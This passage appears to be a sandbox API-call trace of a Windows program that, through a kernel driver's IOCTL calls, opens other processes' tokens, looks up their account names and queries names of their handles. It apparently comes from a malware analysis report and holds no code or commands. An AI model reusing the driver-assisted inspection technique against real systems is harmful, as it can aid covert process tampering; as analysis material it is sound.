ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.525] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.526] CloseHandle (hObject=0xc8) returned 1 [0094.526] CloseHandle (hObject=0xc0) returned 1 [0094.526] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.527] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.527] PsAcquireProcessExitSynchronization () returned 0x0 [0094.527] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff880052335d0) [0094.527] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020b8830, HandleInformation=0x0) returned 0x0 [0094.527] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.527] PsReleaseProcessExitSynchronization () returned 0x2 [0094.527] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0094.527] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.527] ObfDereferenceObject (Object=0xfffffa80020b8830) returned 0x1 [0094.527] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.527] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.527] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0094.527] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.527] PsAcquireProcessExitSynchronization () returned 0x0 [0094.527] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff880052335d0) [0094.527] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800206bdc0, HandleInformation=0x0) returned 0x0 [0094.527] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.527] PsReleaseProcessExitSynchronization () returned 0x2 [0094.527] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0094.527] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.527] ObfDereferenceObject (Object=0xfffffa800206bdc0) returned 0x1 [0094.527] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.527] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.527] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.527] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.527] PsAcquireProcessExitSynchronization () returned 0x0 [0094.527] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff880052335d0) [0094.527] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.527] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.528] PsReleaseProcessExitSynchronization () returned 0x2 [0094.528] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0094.528] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.528] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.528] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.528] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.528] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x86c) returned 0xc0 [0094.528] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.528] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80020a1360, HandleInformation=0x0) returned 0x0 [0094.528] ObOpenObjectByPointer (in: Object=0xfffffa80020a1360, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bbc) returned 0x0 [0094.528] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x12 [0094.528] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bbc, DesiredAccess=0x8, TokenHandle=0xfffffa800219f340 | out: TokenHandle=0xfffffa800219f340*=0xc8) returned 0x0 [0094.528] ZwClose (Handle=0xffffffff80000bbc) returned 0x0 [0094.528] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.528] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.528] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.529] CloseHandle (hObject=0xc8) returned 1 [0094.529] CloseHandle (hObject=0xc0) returned 1 [0094.529] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.529] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.530] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.530] PsAcquireProcessExitSynchronization () returned 0x0 [0094.530] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880052335d0) [0094.530] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020e3c10, HandleInformation=0x0) returned 0x0 [0094.530] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.530] PsReleaseProcessExitSynchronization () returned 0x2 [0094.530] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0094.530] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.530] ObfDereferenceObject (Object=0xfffffa80020e3c10) returned 0x1 [0094.530] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.530] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.530] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.530] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0094.530] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.530] PsAcquireProcessExitSynchronization () returned 0x0 [0094.530] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880052335d0) [0094.530] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020e3ac0, HandleInformation=0x0) returned 0x0 [0094.530] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.530] PsReleaseProcessExitSynchronization () returned 0x2 [0094.530] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0094.530] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.530] ObfDereferenceObject (Object=0xfffffa80020e3ac0) returned 0x1 [0094.530] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.530] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.530] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.530] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.530] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.530] PsAcquireProcessExitSynchronization () returned 0x0 [0094.530] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880052335d0) [0094.530] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.531] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.531] PsReleaseProcessExitSynchronization () returned 0x2 [0094.531] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0094.531] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.531] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.531] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.531] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.531] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x880) returned 0xc0 [0094.531] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.531] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800208b060, HandleInformation=0x0) returned 0x0 [0094.531] ObOpenObjectByPointer (in: Object=0xfffffa800208b060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bbc) returned 0x0 [0094.531] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x12 [0094.531] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bbc, DesiredAccess=0x8, TokenHandle=0xfffffa800219f340 | out: TokenHandle=0xfffffa800219f340*=0xc8) returned 0x0 [0094.531] ZwClose (Handle=0xffffffff80000bbc) returned 0x0 [0094.531] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.531] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.531] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.533] CloseHandle (hObject=0xc8) returned 1 [0094.533] CloseHandle (hObject=0xc0) returned 1 [0094.533] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.533] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.533] PsAcquireProcessExitSynchronization () returned 0x0 [0094.533] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff880052335d0) [0094.533] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80019ac4f0, HandleInformation=0x0) returned 0x0 [0094.533] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.533] PsReleaseProcessExitSynchronization () returned 0x2 [0094.533] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0094.533] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ff1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ff1044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.533] ObfDereferenceObject (Object=0xfffffa80019ac4f0) returned 0x1 [0094.533] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.533] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.533] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0094.533] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.533] PsAcquireProcessExitSynchronization () returned 0x0 [0094.533] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff880052335d0) [0094.533] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001f9c200, HandleInformation=0x0) returned 0x0 [0094.533] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.533] PsReleaseProcessExitSynchronization () returned 0x2 [0094.533] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0094.533] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.533] ObfDereferenceObject (Object=0xfffffa8001f9c200) returned 0x1 [0094.533] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.533] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.533] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.533] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.533] PsAcquireProcessExitSynchronization () returned 0x0 [0094.534] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff880052335d0) [0094.534] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.534] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.534] PsReleaseProcessExitSynchronization () returned 0x2 [0094.534] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0094.534] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.534] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.534] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.534] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.534] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x890) returned 0xc0 [0094.534] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.534] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8001fc0b30, HandleInformation=0x0) returned 0x0 [0094.534] ObOpenObjectByPointer (in: Object=0xfffffa8001fc0b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bbc) returned 0x0 [0094.534] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x12 [0094.534] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bbc, DesiredAccess=0x8, TokenHandle=0xfffffa800219f340 | out: TokenHandle=0xfffffa800219f340*=0xc8) returned 0x0 [0094.534] ZwClose (Handle=0xffffffff80000bbc) returned 0x0 [0094.534] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.534] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.534] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.535] CloseHandle (hObject=0xc8) returned 1 [0094.536] CloseHandle (hObject=0xc0) returned 1 [0094.536] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.536] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.536] PsAcquireProcessExitSynchronization () returned 0x0 [0094.536] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880052335d0) [0094.536] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001a126f0, HandleInformation=0x0) returned 0x0 [0094.536] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.536] PsReleaseProcessExitSynchronization () returned 0x2 [0094.536] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0094.536] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.536] ObfDereferenceObject (Object=0xfffffa8001a126f0) returned 0x1 [0094.536] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.536] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.536] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0094.536] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.536] PsAcquireProcessExitSynchronization () returned 0x0 [0094.536] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880052335d0) [0094.536] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fc01e0, HandleInformation=0x0) returned 0x0 [0094.536] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.536] PsReleaseProcessExitSynchronization () returned 0x2 [0094.536] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0094.537] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.537] ObfDereferenceObject (Object=0xfffffa8001fc01e0) returned 0x1 [0094.537] IofCompleteRequest (Irp=0xfffffa80029296c0, PriorityBoost=0) [0094.537] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.537] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.537] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, 